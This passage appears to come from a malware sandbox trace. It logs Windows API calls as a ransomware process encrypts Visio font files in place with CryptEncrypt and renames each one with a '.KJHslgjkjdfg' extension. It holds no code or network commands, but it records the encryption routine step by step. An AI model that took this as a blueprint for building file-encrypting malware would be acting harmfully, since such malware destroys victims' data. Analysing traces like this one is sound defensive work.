SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0179.824] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x6, lpOverlapped=0x0) returned 1 [0179.826] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0179.826] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.826] GetProcessHeap () returned 0x990000 [0179.826] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0179.826] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0179.827] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.827] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0179.827] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0179.827] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0179.827] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0179.827] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0179.827] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0179.827] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0179.827] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.828] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.828] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4f2ea, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x4f2ea, lpOverlapped=0x0) returned 1 [0179.834] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x4f2f0, dwBufLen=0x4f2f0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x4f2f0) returned 1 [0179.837] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.837] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4f2f0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x4f2f0, lpOverlapped=0x0) returned 1 [0179.839] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.839] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x4f3c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.839] SetEndOfFile (hFile=0x12c) returned 1 [0179.842] GetProcessHeap () returned 0x990000 [0179.842] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0179.842] GetProcessHeap () returned 0x990000 [0179.842] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0179.842] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx.kjhslgjkjdfg")) returned 1 [0179.848] CloseHandle (hObject=0x12c) returned 1 [0179.848] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81c076e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xa261d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CHINESET.SHX", cAlternateFileName="")) returned 1 [0179.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0179.849] GetProcessHeap () returned 0x990000 [0179.849] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0179.849] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0179.849] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0179.849] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x3, lpOverlapped=0x0) returned 1 [0179.851] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0179.851] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.851] GetProcessHeap () returned 0x990000 [0179.851] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0179.851] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0179.851] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.852] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0179.852] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0179.852] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0179.852] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0179.852] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0179.852] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0179.852] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0179.852] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.852] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.852] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa261d, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xa261d, lpOverlapped=0x0) returned 1 [0179.868] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xa2620, dwBufLen=0xa2620 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xa2620) returned 1 [0179.877] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.877] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa2620, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xa2620, lpOverlapped=0x0) returned 1 [0179.879] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.879] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xa26f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.879] SetEndOfFile (hFile=0x12c) returned 1 [0179.883] GetProcessHeap () returned 0x990000 [0179.883] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0179.883] GetProcessHeap () returned 0x990000 [0179.883] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0179.883] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx.kjhslgjkjdfg")) returned 1 [0179.893] CloseHandle (hObject=0x12c) returned 1 [0179.893] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81eb4fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x6a9e6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EXTFONT.SHX", cAlternateFileName="")) returned 1 [0179.893] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0179.991] GetProcessHeap () returned 0x990000 [0179.991] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0179.992] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0179.992] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0179.992] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xa, lpOverlapped=0x0) returned 1 [0179.994] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0179.994] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.994] GetProcessHeap () returned 0x990000 [0179.994] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0179.994] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0179.994] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.994] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0179.995] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0179.995] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0179.995] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0179.995] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0179.995] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0179.995] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0179.995] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.995] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.995] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6a9e6, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x6a9e6, lpOverlapped=0x0) returned 1 [0180.005] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x6a9f0, dwBufLen=0x6a9f0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x6a9f0) returned 1 [0180.010] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.010] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6a9f0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x6a9f0, lpOverlapped=0x0) returned 1 [0180.012] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.012] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x6aac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.012] SetEndOfFile (hFile=0x12c) returned 1 [0180.016] GetProcessHeap () returned 0x990000 [0180.016] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0180.016] GetProcessHeap () returned 0x990000 [0180.016] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0180.016] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx.kjhslgjkjdfg")) returned 1 [0180.017] CloseHandle (hObject=0x12c) returned 1 [0180.018] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8207e020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdc6b9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GBCBIG.SHX", cAlternateFileName="")) returned 1 [0180.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0180.018] GetProcessHeap () returned 0x990000 [0180.018] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0180.018] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0180.018] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0180.019] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x7, lpOverlapped=0x0) returned 1 [0180.021] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.021] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.021] GetProcessHeap () returned 0x990000 [0180.021] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0180.021] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0180.021] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.021] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0180.021] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0180.021] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0180.022] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0180.022] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0180.022] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0180.022] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.022] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.022] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.022] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xdc6b9, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xdc6b9, lpOverlapped=0x0) returned 1 [0180.045] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xdc6c0, dwBufLen=0xdc6c0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xdc6c0) returned 1 [0180.055] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.055] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xdc6c0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xdc6c0, lpOverlapped=0x0) returned 1 [0180.057] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.058] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xdc784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.058] SetEndOfFile (hFile=0x12c) returned 1 [0180.062] GetProcessHeap () returned 0x990000 [0180.062] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0180.062] GetProcessHeap () returned 0x990000 [0180.062] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0180.062] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx.kjhslgjkjdfg")) returned 1 [0180.063] CloseHandle (hObject=0x12c) returned 1 [0180.063] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2656900, ftCreationTime.dwHighDateTime=0x1c2706c, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2656900, ftLastWriteTime.dwHighDateTime=0x1c2706c, nFileSizeHigh=0x0, nFileSizeLow=0x2b01, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IC-TXT.SHX", cAlternateFileName="")) returned 1 [0180.063] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0180.064] GetProcessHeap () returned 0x990000 [0180.064] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0180.064] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0180.064] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0180.064] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xf, lpOverlapped=0x0) returned 1 [0180.066] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.066] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.066] GetProcessHeap () returned 0x990000 [0180.066] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0180.066] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0180.066] 